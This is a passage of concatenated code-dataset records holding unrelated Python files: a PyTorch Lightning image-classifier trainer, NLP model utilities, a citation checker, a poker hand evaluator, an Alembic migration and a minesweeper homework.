label_to_count[self._get_label(dataset, idx)]\r\n for idx in self.indices]\r\n self.weights = torch.DoubleTensor(weights)\r\n\r\n def _get_label(self, dataset, idx):\r\n return dataset[idx][1]\r\n\r\n def __iter__(self):\r\n # torch.multinomial - Returns a tensor where each row contains num_samples indices sampled from the multinomial probability distribution\r\n # located in the corresponding row of tensor input.\r\n return (self.indices[i] for i in torch.multinomial(\r\n self.weights, self.num_samples, replacement=True))\r\n\r\n def __len__(self):\r\n return self.num_samples\r\n\r\n\r\nclass ClassificationTrainer(pl.LightningModule):\r\n def __init__(self, hparams = {\r\n 'epochs_num': 100,\r\n 'batch_size': 32,\r\n 'lr': 0.001,\r\n \"train_valid_test_split\": [0.8, 0.1, 0.1],\r\n }, model_type='resnet50',\r\n dataset_path = 'dataset',\r\n folders_structure = {\r\n \"models_folder\": str(Path(__file__).parent / \"models\"),\r\n \"confusion_matrix_folder\": str(Path(__file__).parent / \"confusion_matrix\"),\r\n \"test_img_folder\": str(Path(__file__).parent / \"test_img_folder\"),\r\n \"metadata_json_folder\": str(Path(__file__).parent / \"metadata_json\")\r\n }):\r\n super().__init__()\r\n self._hparams = hparams\r\n self.model_type = model_type\r\n self.dataset_path = dataset_path\r\n self.folders_structure = folders_structure\r\n self.model_metadata = {\r\n 'hparams': hparams,\r\n 'model_type':model_type,\r\n 'dataset_path': dataset_path, \r\n 'folders_structure': folders_structure\r\n }\r\n\r\n self.img_transform = transforms.Compose([AlbumentationsTransform()])\r\n self.criterion = nn.CrossEntropyLoss()\r\n\r\n self.model = self._load_specific_model()\r\n self._split_dataset_to_dataloaders_and_return_classes()\r\n self._create_dir_structure()\r\n\r\n self.last_best_valid_error = 10000000000.0\r\n self.test_images = []\r\n self.test_losses = []\r\n self.test_true = []\r\n self.test_pred = []\r\n\r\n def _load_specific_model(self):\r\n number_of_classes = self._get_number_of_classes()\r\n if self.model_type == 'resnet50':\r\n model = models.resnet50(pretrained=True).to(self.device)\r\n for param in model.parameters():\r\n param.requires_grad = False\r\n model.fc = nn.Sequential(\r\n nn.Linear(2048, 128),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(128, number_of_classes)).to(self.device)\r\n model = model.to(self.device)\r\n model.name = 'resnet50'\r\n elif self.model_type == 'resnet18':\r\n model = models.resnet18(pretrained=True).to(self.device)\r\n for param in model.parameters():\r\n param.requires_grad = False\r\n model.fc = nn.Sequential(\r\n nn.Linear(512, 128),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(128, number_of_classes)).to(self.device)\r\n model = model.to(self.device)\r\n model.name = 'resnet18'\r\n elif self.model_type == 'resnet34':\r\n model = models.resnet34(pretrained=True).to(self.device)\r\n for param in model.parameters():\r\n param.requires_grad = False\r\n model.fc = nn.Sequential(\r\n nn.Linear(2048, 128),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(128, number_of_classes)).to(self.device)\r\n model = model.to(self.device)\r\n model.name = 'resnet34'\r\n elif self.model_type == 'resnet101':\r\n model = models.resnet101(pretrained=True).to(self.device)\r\n for param in model.parameters():\r\n param.requires_grad = False\r\n model.fc = nn.Sequential(\r\n nn.Linear(2048, 128),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(128, number_of_classes)).to(self.device)\r\n model = model.to(self.device)\r\n model.name = 'resnet101'\r\n elif self.model_type == 'resnet152':\r\n model = models.resnet152(pretrained=True).to(self.device)\r\n for param in model.parameters():\r\n param.requires_grad = False\r\n model.fc = nn.Sequential(\r\n nn.Linear(2048, 128),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(128, number_of_classes)).to(self.device)\r\n model = model.to(self.device)\r\n model.name = 'resnet152'\r\n elif self.model_type == 'vgg16':\r\n model = models.vgg16(pretrained=True)\r\n for param in model.parameters():\r\n param.requires_grad = False\r\n model.classifier = nn.Sequential(\r\n nn.Linear(25088, 128),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(128, number_of_classes)).to(self.device)\r\n model = model.to(self.device)\r\n model.name = 'vgg16'\r\n return model\r\n\r\n def _get_number_of_classes(self):\r\n return len([ f.path for f in os.scandir(self.dataset_path) if f.is_dir() ])\r\n\r\n def _split_dataset_to_dataloaders_and_return_classes(self):\r\n dataset = datasets.ImageFolder(self.dataset_path, self.img_transform)\r\n self.classes = dataset.classes\r\n self.class_to_idx = dataset.class_to_idx\r\n self.model_metadata.update(\r\n {\r\n 'classes': self.classes,\r\n 'class_to_idx': self.class_to_idx,\r\n }\r\n )\r\n train_size = int(self._hparams['train_valid_test_split'][0]*len(dataset))\r\n valid_size = int(self._hparams['train_valid_test_split'][1]*len(dataset))\r\n test_size = int(self._hparams['train_valid_test_split'][2]*len(dataset))\r\n rest = len(dataset) - train_size - valid_size - test_size\r\n train_size += rest\r\n train_set, valid_set, test_set = torch.utils.data.random_split(dataset,\r\n [train_size, valid_size, test_size])\r\n self.train_set = train_set\r\n self.valid_set = valid_set\r\n self.test_set = test_set\r\n\r\n def _create_dir_structure(self):\r\n for _, path in self.folders_structure.items():\r\n os.makedirs(path, exist_ok=True)\r\n\r\n def forward(self, x):\r\n return self.model(x)\r\n\r\n def train_dataloader(self):\r\n train_dataloader = torch.utils.data.DataLoader(self.train_set,\r\n sampler=ImbalancedDatasetSampler(self.train_set),\r\n batch_size=self._hparams['batch_size'])\r\n return train_dataloader\r\n \r\n def val_dataloader(self):\r\n val_dataloader = torch.utils.data.DataLoader(self.valid_set, sampler=ImbalancedDatasetSampler(self.valid_set),\r\n batch_size=self.hparams['batch_size'])\r\n return val_dataloader\r\n\r\n def test_dataloader(self):\r\n test_dataloader = torch.utils.data.DataLoader(self.test_set, sampler=ImbalancedDatasetSampler(self.test_set),\r\n batch_size=self.hparams['batch_size'])\r\n return test_dataloader\r\n\r\n def training_step(self, batch, batch_nb):\r\n x,y = batch\r\n if isinstance(x, dict):\r\n x = x['image']\r\n pred = self(x)\r\n loss = self.criterion(pred, y)\r\n self.log('train_loss', loss)\r\n return loss\r\n\r\n def validation_step(self, batch, batch_nb):\r\n x,y = batch\r\n if isinstance(x, dict):\r\n x = x['image']\r\n pred = self(x)\r\n loss = self.criterion(pred, y)\r\n self.log('valid_loss', loss)\r\n\r\n ps = torch.exp(pred)\r\n top_p, top_class = ps.topk(1, dim=1)\r\n equals = top_class == y.view(*top_class.shape)\r\n accuracy = torch.mean(equals.type(torch.FloatTensor)).item()\r\n self.log('accuracy_loss', accuracy)\r\n if loss < self.last_best_valid_error:\r\n self.last_best_valid_error = loss\r\n self.save_model(loss=loss.item(), acc=accuracy, mode='valid')\r\n return loss\r\n\r\n def test_step(self, batch, batch_nb):\r\n x,y = batch\r\n if isinstance(x, dict):\r\n x = x['image']\r\n pred = self(x)\r\n loss = self.criterion(pred, y)\r\n self.log('test_loss_per_batch', loss)\r\n\r\n ps = torch.exp(pred)\r\n top_p, top_class = ps.topk(1, dim=1)\r\n equals = top_class == y.view(*top_class.shape)\r\n accuracy = torch.mean(equals.type(torch.FloatTensor)).item()\r\n self.log('test_accuracy_per_batch', accuracy)\r\n\r\n self.test_images.append(x)\r\n self.test_losses.append(loss.item())\r\n self.test_true += y.tolist()\r\n self.test_pred += top_class.tolist()\r\n return loss\r\n\r\n def test_epoch_end(self, outputs):\r\n test_img_paths = self.save_and_convert_test_images_to_paths(self.test_images)\r\n self.test_pred = [ i[0] for i in self.test_pred ]\r\n\r\n loss = sum(self.test_losses) / len(self.test_losses)\r\n self.log('test_loss_per_epoch', loss)\r\n\r\n accuracy = accuracy_score(self.test_true, self.test_pred)\r\n self.log('test_accuracy_per_epoch', accuracy)\r\n\r\n conf_matrix = confusion_matrix(self.test_true, self.test_pred)\r\n conf_matrix_path = os.path.join(self.folders_structure['confusion_matrix_folder'], 'conf_matrix_plot.jpg')\r\n plot_confusion_matrix(conf_matrix, conf_matrix_path, self.classes)\r\n\r\n self.model_metadata.update(\r\n {\r\n 'y_true': self.test_true,\r\n 'y_pred': self.test_pred,\r\n 'test_accuracy': accuracy,\r\n 'test_loss': loss,\r\n 'conf_matrix': conf_matrix.tolist()\r\n }\r\n )\r\n self.save_metadata()\r\n self.save_model(loss=loss, acc=accuracy, mode='test')\r\n return \r\n\r\n def save_and_convert_test_images_to_paths(self, test_images):\r\n test_images_paths = []\r\n for batch_idx , test_image in enumerate(test_images):\r\n if test_image.shape[0] > 1:\r\n for image_idx , i_image in enumerate(test_image):\r\n i_image = self._inv_normalize_tensor(i_image)\r\n img_path = os.path.join(self.folders_structure['test_img_folder'], str(batch_idx) + '_'+ str(image_idx)+'.jpg')\r\n torchvision.utils.save_image(i_image, img_path)\r\n test_images_paths.append(img_path)\r\n else:\r\n test_image = self._inv_normalize_tensor(test_image)\r\n img_path = os.path.join(self.folders_structure['test_img_folder'], str(batch_idx) + '.jpg')\r\n torchvision.utils.save_image(test_image, img_path)\r\n test_images_paths.append(img_path)\r\n return test_images_paths\r\n\r\n def _inv_normalize_tensor(self, tensor):\r\n tensor = torch.squeeze(tensor, 0)\r\n inv_normalize = transforms.Normalize(\r\n mean=[-0.485/0.229, -0.456/0.224, -0.406/0.255],\r\n std=[1/0.229, 1/0.224, 1/0.255]\r\n )\r\n return inv_normalize(tensor)\r\n\r\n def configure_optimizers(self):\r\n return torch.optim.Adam(self.model.parameters(), lr=self._hparams['lr'])\r\n\r\n def save_metadata(self):\r\n json_path = os.path.join(self.folders_structure['metadata_json_folder'], 'metadata.json')\r\n with open(json_path, 'w') as file:\r\n json.dump(self.model_metadata, file)\r\n\r\n def save_model(self, loss=0.0, acc=0.0, mode='valid'):\r\n model_name = mode+'_'+'loss_' + str(round(loss, 4)) + '_accuracy_' + str(round(acc, 4)) + '.pth'\r\n model_save_path = os.path.join(self.folders_structure['models_folder'], model_name)\r\n torch.save(self.model, model_save_path)\r\n\r\ndef plot_confusion_matrix(cm, save_path,\r\n target_names,\r\n title='Confusion matrix',\r\n cmap=None,\r\n normalize=False):\r\n accuracy = np.trace(cm) / np.sum(cm).astype('float')\r\n misclass = 1 - accuracy\r\n if cmap is None:\r\n cmap = plt.get_cmap('Blues')\r\n fig = plt.figure(figsize=(8, 6))\r\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\r\n plt.title(title)\r\n plt.colorbar()\r\n\r\n if target_names is not None:\r\n tick_marks = np.arange(len(target_names))\r\n plt.xticks(tick_marks, target_names, rotation=45)\r\n plt.yticks(tick_marks, target_names)\r\n if normalize:\r\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\r\n thresh = cm.max() / 1.5 if normalize else cm.max() / 2\r\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\r\n if normalize:\r\n plt.text(j, i, \"{:0.4f}\".format(cm[i, j]),\r\n horizontalalignment=\"center\",\r\n color=\"white\" if cm[i, j] > thresh else \"black\")\r\n else:\r\n plt.text(j, i, \"{:,}\".format(cm[i, j]),\r\n horizontalalignment=\"center\",\r\n color=\"white\" if cm[i, j] > thresh else \"black\")\r\n plt.tight_layout()\r\n plt.ylabel('True label')\r\n plt.xlabel('Predicted label\\naccuracy={:0.4f}; misclass={:0.4f}'.format(accuracy, misclass))\r\n fig.savefig(save_path, dpi=fig.dpi)\r\n return fig\r\n\r\n\r\nif __name__ == '__main__':\r\n torch.cuda.empty_cache()\r\n dataset_path = 'cat_vs_dog_test_dataset'\r\n model1 = ClassificationTrainer(dataset_path=dataset_path)\r\n checkpoint_save_path = str(Path(__file__).parent / '')\r\n trainer = Trainer(gpus=0, benchmark=True, \r\n max_epochs=1, default_root_dir=checkpoint_save_path,\r\n check_val_every_n_epoch=1,\r\n # resume_from_checkpoint=checkpoint_path \r\n )\r\n trainer.test(model1)\r\n","sub_path":"klasyfikacja, trainskrypt jeden zeby wszytkie wyszkolic/code_video.py","file_name":"code_video.py","file_ext":"py","file_size_in_byte":17911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"308184244","text":"import torch\nimport math\nimport os\nimport glob\nimport re\nimport logging\nimport shutil\n\nfrom .transformers_utils import MARIAN_GROUP_MEMBERS\nfrom transformers.models.mbart.tokenization_mbart50 import FAIRSEQ_LANGUAGE_CODES\n\nfrom genienlp.metrics import computeBLEU\nfrom genienlp.util import get_mbart_lang\n\nlogger = logging.getLogger(__name__)\n\n\ndef shift_tokens_right(input_ids, pad_token_id):\n \"\"\"\n Shift input ids one token to the right, and wrap the last non pad token (usually ).\n Adopted from huggingface's finetune.py code\n \"\"\"\n prev_output_tokens = input_ids.clone()\n index_of_eos = (input_ids.ne(pad_token_id).sum(dim=1) - 1).unsqueeze(-1)\n prev_output_tokens[:, 0] = input_ids.gather(1, index_of_eos).squeeze()\n prev_output_tokens[:, 1:] = input_ids[:, :-1]\n return prev_output_tokens\n\n\ndef freeze_params(model):\n for par in model.parameters():\n par.requires_grad = False\n\n\ndef unfreeze_params(model):\n for par in model.parameters():\n par.requires_grad = True\n\n\ndef freeze_embeds(model):\n \"\"\"Freeze token embeddings and positional embeddings for bart, just token embeddings for t5.\"\"\"\n if hasattr(model, 'model'):\n freeze_params(model.model.shared)\n for d in [model.model.encoder, model.model.decoder]:\n freeze_params(d.embed_positions)\n freeze_params(d.embed_tokens)\n else:\n freeze_params(model.shared)\n for d in [model.encoder, model.decoder]:\n freeze_params(d.embed_tokens)\n\ndef unfreeze_embeds(model):\n \"\"\"Unfreeze token embeddings and positional embeddings for bart, just token embeddings for t5.\"\"\"\n if hasattr(model, 'model'):\n unfreeze_params(model.model.shared)\n for d in [model.model.encoder, model.model.decoder]:\n unfreeze_params(d.embed_positions)\n unfreeze_params(d.embed_tokens)\n else:\n unfreeze_params(model.shared)\n for d in [model.encoder, model.decoder]:\n unfreeze_params(d.embed_tokens)\n\ndef check_args(args):\n if args.model_type == 'marian' and args.model_name_or_path.rsplit('-', 1)[1] in MARIAN_GROUP_MEMBERS:\n if not args.tgt_lang:\n raise ValueError('For translation task using Marian model, if target language is a group of languages, '\n 'you have to specify the --tgt_lang flag.')\n elif args.tgt_lang not in MARIAN_GROUP_MEMBERS[args.model_name_or_path.rsplit('-', 1)[1]]:\n if args.tgt_lang == 'pl':\n args.tgt_lang = 'pol'\n elif args.tgt_lang == 'fa':\n args.tgt_lang = 'pes'\n else:\n raise ValueError(\n 'Target language is not in the model group languages, please specify the correct target language.')\n \n if args.model_type == 'marian' and args.model_name_or_path.rsplit('-', 2)[1] in MARIAN_GROUP_MEMBERS:\n if not args.src_lang:\n raise ValueError('For translation task using Marian model, if source language is a group of languages, '\n 'you have to specify the --src_lang flag.')\n elif args.src_lang not in MARIAN_GROUP_MEMBERS[args.model_name_or_path.rsplit('-', 2)[1]]:\n if args.src_lang == 'pl':\n args.src_lang = 'pol'\n elif args.src_lang == 'fa':\n args.src_lang = 'pes'\n raise ValueError(\n 'Source language is not in the model group languages, please specify the correct source language.')\n \n if args.model_type == 'marian' and args.model_name_or_path.rsplit('-', 1)[1] not in MARIAN_GROUP_MEMBERS and args.tgt_lang:\n logger.warning('Target language should not be provided when using Marian models with single target language,'\n ' otherwise the translation outputs will be incorrect; thus we ignore the target language you provided...')\n args.tgt_lang = None\n \n if args.model_type == 'marian' and args.model_name_or_path.rsplit('-', 2)[1] not in MARIAN_GROUP_MEMBERS and args.src_lang:\n logger.warning('Source language should not be provided when using Marian models with single source language,'\n ' otherwise the translation outputs will be incorrect; thus we ignore the source language you provided...')\n args.src_lang = None\n \n if args.model_type == 'mbart' and not (args.tgt_lang and args.src_lang):\n raise ValueError('Source and Target language should be provided when using mBART cc25 model')\n \n # adjust language ids for mbart models\n if args.model_type in ['mbart', 'mbart50']:\n if args.src_lang not in FAIRSEQ_LANGUAGE_CODES:\n args.src_lang = get_mbart_lang(args.src_lang)\n if args.tgt_lang not in FAIRSEQ_LANGUAGE_CODES:\n args.tgt_lang = get_mbart_lang(args.tgt_lang)\n\ndef sort_checkpoints(output_dir):\n return list(sorted(glob.glob(os.path.join(output_dir, \"checkpointepoch=*.ckpt\"), recursive=True)))\n\n\ndef get_transformer_schedule_with_warmup(optimizer, num_warmup_steps, num_training_steps, dimension):\n num_warmup_steps = max(1, num_warmup_steps)\n\n def lr_lambda(current_step):\n current_step += 1\n return 1. / math.sqrt(dimension) * min(1 / math.sqrt(current_step), current_step / (num_warmup_steps * math.sqrt(num_warmup_steps)))\n\n return torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda)\n\n\n\ndef _rotate_checkpoints(args, checkpoint_prefix, use_mtime=False):\n if not args.save_total_limit:\n return\n if args.save_total_limit <= 0:\n return\n\n # Check if we should delete older checkpoint(s)\n glob_checkpoints = glob.glob(os.path.join(args.output_dir, '{}-*'.format(checkpoint_prefix)))\n if len(glob_checkpoints) <= args.save_total_limit:\n return\n\n ordering_and_checkpoint_path = []\n for path in glob_checkpoints:\n if use_mtime:\n ordering_and_checkpoint_path.append((os.path.getmtime(path), path))\n else:\n regex_match = re.match('.*{}-([0-9]+)'.format(checkpoint_prefix), path)\n if regex_match and regex_match.groups():\n ordering_and_checkpoint_path.append((int(regex_match.groups()[0]), path))\n\n checkpoints_sorted = sorted(ordering_and_checkpoint_path)\n checkpoints_sorted = [checkpoint[1] for checkpoint in checkpoints_sorted]\n number_of_checkpoints_to_delete = max(0, len(checkpoints_sorted) - args.save_total_limit)\n checkpoints_to_be_deleted = checkpoints_sorted[:number_of_checkpoints_to_delete]\n for checkpoint in checkpoints_to_be_deleted:\n logger.info(\"Deleting older checkpoint [{}] due to args.save_total_limit\".format(checkpoint))\n shutil.rmtree(checkpoint)\n\n\ndef compute_metrics(generations, golds, reduction='average'):\n \"\"\"\n Inputs:\n generations: a list of list of strings; generations[i] is a list of all generated outputs of the model for example i\n golds: a list of strings; golds[i] is the gold answer for example i\n reduction: how we should compute an example's metrics from its multiple generations\n \"\"\"\n total_bleu = 0.0\n # all_bleu = []\n total_exact_match = 0.0\n count = 0.0\n for idx, output in enumerate(generations):\n bleu_score = 0.0\n exact_match = 0.0\n for sample in output:\n if reduction == 'average':\n bleu_score += computeBLEU([sample], [[golds[idx]]])\n else:\n bleu_score = max(bleu_score, computeBLEU([sample], [[golds[idx]]]))\n if re.sub('\\s+', '', sample).lower() == re.sub('\\s+', '', golds[idx]).lower():\n if reduction == 'average':\n exact_match += 1\n else:\n exact_match = max(exact_match, 1)\n if reduction == 'average':\n bleu_score /= len(output)\n exact_match /= len(output)\n total_bleu += bleu_score\n total_exact_match += exact_match\n count += 1\n\n return {'bleu': total_bleu/count, 'em': total_exact_match/count*100}\n\n\n","sub_path":"genienlp/paraphrase/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":8047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"523044605","text":"import argparse\nimport re\n\nparser = argparse.ArgumentParser()\nparser.add_argument('bib')\nparser.add_argument('aux')\nargs = parser.parse_args()\n\nwith open(args.bib) as fp:\n text = fp.read()\n available_keys = set(key.strip() for key in re.findall(r'@\\w+{([^-].*?),', text))\n\nwith open(args.aux) as fp:\n text = fp.read()\n used_keys = set(key.strip() for key in re.findall(r'\\\\abx@aux@cite\\{(.*?)\\}', text))\n\nprint(f'found {len(available_keys)} available keys')\nprint(f'found {len(used_keys)} used keys')\nprint('unused keys:')\nprint('\\n'.join(sorted(available_keys - used_keys)))\n","sub_path":"manuscript/uncited.py","file_name":"uncited.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"281734908","text":"from classes import PlayingCard\nimport random\n\ndef get_full_shuffled_deck_of_cards():\n\n \"\"\"\n This function returns a 52 card deck plus one wild card as a list\n \"\"\"\n\n #Make a deck of cards list, and a copy to modify\n deck_of_cards_without_wildcard = [PlayingCard(value, suit) for value in PlayingCard.values for suit in PlayingCard.suits]\n full_deck_of_cards = deck_of_cards_without_wildcard[:]\n\n #Make the wildcard a special card and add one to the deck\n wildcard = PlayingCard(\"*\", None) \n full_deck_of_cards.insert(52, wildcard)\n\n #Shuffle and return your deck\n random.shuffle(full_deck_of_cards)\n return full_deck_of_cards\n\ndef get_hands_of_cards(number_of_hands, cards_per_hand):\n \"\"\"\n This functions takes two integers (number of hands and cards per hand) \n and returns a list containing the hands requested\n \"\"\"\n card_hands = []\n shuffled_deck = get_full_shuffled_deck_of_cards()\n \n for hand in range(number_of_hands):\n hand = []\n for card in range(cards_per_hand):\n hand.append(shuffled_deck[card].value)\n shuffled_deck.pop(card)\n hand.sort()\n card_hands.append(hand)\n \n return card_hands\n\ndef is_four_of_a_kind(hand):\n \"\"\"\n This functions takes the hand (list) and returns true if it is four of a kind\n \"\"\"\n for card in hand:\n if hand.count(card) is 4:\n return True\n\ndef is_full_house(hand):\n \"\"\"\n This functions takes the hand (list) and returns true if it is a full house\n \"\"\"\n two_cards = False\n three_cards = False\n for card in hand:\n if hand.count(card) is 3:\n three_cards = True\n if hand.count(card) is 2:\n two_cards = True\n \n if two_cards and three_cards:\n return True\n\ndef is_straight(hand):\n \"\"\"\n This functions takes the hand (list) and returns true if it is a straight\n \"\"\"\n int_converted_hand = []\n for card in hand:\n if card == 'T':\n card = 10\n if card == 'J':\n card = 11\n if card == 'Q':\n card = 12\n if card == 'K':\n card = 13\n if card == 'A':\n card = 14\n if card is not '*':\n int_converted_hand.append(int(card))\n\n range_list=list(range(min(int_converted_hand), max(int_converted_hand)+1))\n if int_converted_hand == range_list:\n return True\n\ndef is_three_of_a_kind(hand):\n \"\"\"\n This functions takes the hand (list) and returns true if it is three of a kind\n \"\"\"\n two_cards = False\n three_cards = False\n for card in hand:\n if hand.count(card) is 3:\n three_cards = True\n if hand.count(card) is 2:\n two_cards = True\n \n if three_cards:\n if not two_cards:\n return True\n\ndef is_two_pair(hand):\n \"\"\"\n This functions takes the hand (list) and returns true if the hand has two pair\n \"\"\"\n pair_count = 0\n for card in hand:\n if hand.count(card) is 2:\n pair_count = pair_count + 1\n if pair_count == 4:\n return True\n\n\ndef is_pair(hand):\n \"\"\"\n This functions takes the hand (list) and returns true if it has one pair\n \"\"\"\n pair_count = 0\n for card in hand:\n if hand.count(card) is 2:\n pair_count = pair_count + 1\n if pair_count == 2:\n return True\n\ndef find_high_card(hand):\n \"\"\"\n This functions takes the hand (list) and returns the highest card\n \"\"\"\n high_card = max(hand)\n return high_card\n\ndef compare_hands(hands):\n \"\"\"\n This functions takes the hand (list), finds the score of the hand, compares the scores and tell you who won (or if it is a tie)\n \"\"\"\n hand_scores = []\n for index, hand in enumerate(hands):\n print(f'Hand number {index + 1}: {hand}')\n if is_full_house(hand):\n print(f'Full House in hand number {index + 1 } \\n')\n hand_scores.append(7)\n continue\n if is_four_of_a_kind(hand):\n print(f'Four of a kind in hand number {index + 1} \\n')\n hand_scores.append(6)\n continue\n if is_three_of_a_kind(hand):\n print(f'Three of a kind in hand number {index + 1} \\n')\n hand_scores.append(5)\n continue\n if is_straight(hand):\n print(f'Hand number {index + 1} is a straight \\n')\n hand_scores.append(4)\n continue\n if is_two_pair(hand):\n print(f'Hand number {index + 1} has two pair \\n')\n hand_scores.append(3)\n continue\n if is_pair(hand):\n print(f'Hand number {index + 1} has a single pair \\n')\n hand_scores.append(2)\n continue\n elif find_high_card(hand):\n hand_scores.append(1)\n high_card = find_high_card(hand)\n print(f'Hand number {index + 1} has a high card of {high_card} \\n')\n else:\n hand_scores.append(0)\n\n if len(set(hand_scores)) <= 1:\n print(\"Its a tie!\")\n\n else:\n winning_hand_score = max(hand_scores)\n winning_hand_index = hand_scores.index(winning_hand_score)\n print(f'Hand number {winning_hand_index + 1} wins!')\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":5228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"595572325","text":"\"\"\"Update name of Notification relationship field on Conditions and Actions;\n\nRevision ID: cf086d0211a\nRevises: 17350373a143\nCreate Date: 2014-06-01 10:56:21.323915\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'cf086d0211a'\ndown_revision = '17350373a143'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n op.alter_column('action', 'notification', new_column_name='notification_id')\n op.alter_column('condition', 'notification', new_column_name='notification_id')\n","sub_path":"alembic/versions/cf086d0211a_update_name_of_notification_.py","file_name":"cf086d0211a_update_name_of_notification_.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"526357510","text":"# To funkcijo prijazno podarjam vsem, ki bodo programirali v eni vrstici. :)\r\n# Kako jo uporabiti, je v navodilih. Kdor je ne potrebuje, naj jo ignorira.\r\ndef vsa_polja(s, v):\r\n \"\"\"\r\n Generiraj vse koordinate (x, y) za polje s podano širino in višino\r\n Args:\r\n s (int): širina\r\n v (int): višina\r\n\r\n Returns:\r\n generator parov polj\r\n \"\"\"\r\n return ((x, y) for x in range(s) for y in range(v))\r\n\r\n\r\n########################\r\n# Za oceno 6\r\n\r\ndef sosedov(x, y, mine):\r\n st_sosedov = 0\r\n if (x + 1, y + 1) in mine:\r\n st_sosedov += 1\r\n if (x, y + 1) in mine:\r\n st_sosedov += 1\r\n if (x - 1, y + 1) in mine:\r\n st_sosedov += 1\r\n if (x - 1, y) in mine:\r\n st_sosedov += 1\r\n if (x - 1, y - 1) in mine:\r\n st_sosedov += 1\r\n if (x, y - 1) in mine:\r\n st_sosedov += 1\r\n if (x + 1, y - 1) in mine:\r\n st_sosedov += 1\r\n if (x + 1, y) in mine:\r\n st_sosedov += 1\r\n return st_sosedov\r\n\r\n\r\ndef najvec_sosedov(mine, s, v):\r\n max = 0\r\n res = (0, 0)\r\n for (x, y) in vsa_polja(s, v):\r\n tmp_max = sosedov(x, y, mine)\r\n if tmp_max > max:\r\n max = tmp_max\r\n res = (x, y)\r\n return res\r\n\r\n\r\ndef brez_sosedov(mine, s, v):\r\n brez = set()\r\n for (x, y) in vsa_polja(s, v):\r\n if sosedov(x, y, mine) == 0:\r\n brez.add((x, y))\r\n return brez\r\n\r\n\r\ndef po_sosedih(mine, s, v):\r\n res = {\r\n 0: set(),\r\n 1: set(),\r\n 2: set(),\r\n 3: set(),\r\n 4: set(),\r\n 5: set(),\r\n 6: set(),\r\n 7: set(),\r\n 8: set()\r\n }\r\n for (x, y) in vsa_polja(s, v):\r\n st_sosedov = sosedov(x, y, mine)\r\n res[st_sosedov].add((x, y))\r\n return res\r\n\r\n\r\n########################\r\n# Za oceno 7\r\n\r\ndef dolzina_poti(pot):\r\n dolzina = 0\r\n for i in range(len(pot) - 1):\r\n x1, y1 = pot[i]\r\n x2, y2 = pot[i + 1]\r\n dolzina += abs(x1 - x2)\r\n dolzina += abs(y1 - y2)\r\n return dolzina\r\n\r\n\r\ndef varen_premik(x0, y0, x1, y1, mine):\r\n x = x0 - x1\r\n y = y0 - y1\r\n smer = True # true za x, false za y\r\n negative = False\r\n dolzina = x\r\n if abs(x) < abs(y):\r\n smer = False\r\n dolzina = y\r\n if dolzina < 0:\r\n negative = True\r\n if (x0, y0) in mine:\r\n return False\r\n for i in range(abs(dolzina) + 1):\r\n if (x0, y0) in mine:\r\n return False\r\n if smer:\r\n if negative == True:\r\n x0 += 1\r\n else:\r\n x0 -= 1\r\n else:\r\n if negative == True:\r\n y0 += 1\r\n else:\r\n y0 -= 1\r\n return True\r\n\r\n\r\ndef varna_pot(pot, mine):\r\n if len(pot) > 0:\r\n if pot[0] in mine:\r\n return False\r\n for i in range(len(pot) - 1):\r\n x0, y0 = pot[i]\r\n x1, y1 = pot[i + 1]\r\n if varen_premik(x0, y0, x1, y1, mine) == False:\r\n return False\r\n return True\r\n\r\n\r\n########################\r\n# Za oceno 8\r\n\r\ndef polje_v_mine(polje):\r\n mine = set()\r\n polje = polje.split(\" \")\r\n for y in range(len(polje)):\r\n vrstica = polje[y]\r\n for x in range(len(vrstica)):\r\n if vrstica[x] == \"X\":\r\n mine.add((x, y))\r\n return mine, len(polje[0]), len(polje)\r\n\r\n\r\n########################\r\n# Za oceno 9\r\n#\r\n# Vse funkcije za oceno 6 in 7 morajo biti napisane v eni vrstici.\r\n\r\n\r\n########################\r\n# Za oceno 10\r\n\r\ndef preberi_pot(ukazi):\r\n \"\"\"\r\n Za podani seznam ukazov (glej navodila naloge) vrni pot.\r\n\r\n Args:\r\n ukazi (str): ukazi, napisani po vrsticah\r\n\r\n Returns:\r\n list of tuple of int: pot\r\n \"\"\"\r\n\r\n\r\ndef zapisi_pot(pot):\r\n \"\"\"\r\n Za podano pot vrni seznam ukazov (glej navodila naloge).\r\n\r\n Args:\r\n pot (list of tuple of int): pot\r\n\r\n Returns:\r\n str: ukazi, napisani po vrsticah\r\n \"\"\"\r\n\r\n\r\n","sub_path":"code/batch-2/vse-naloge-brez-testov/DN7-M-076.py","file_name":"DN7-M-076.py","file_ext":"py","file_size_in_byte":3924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
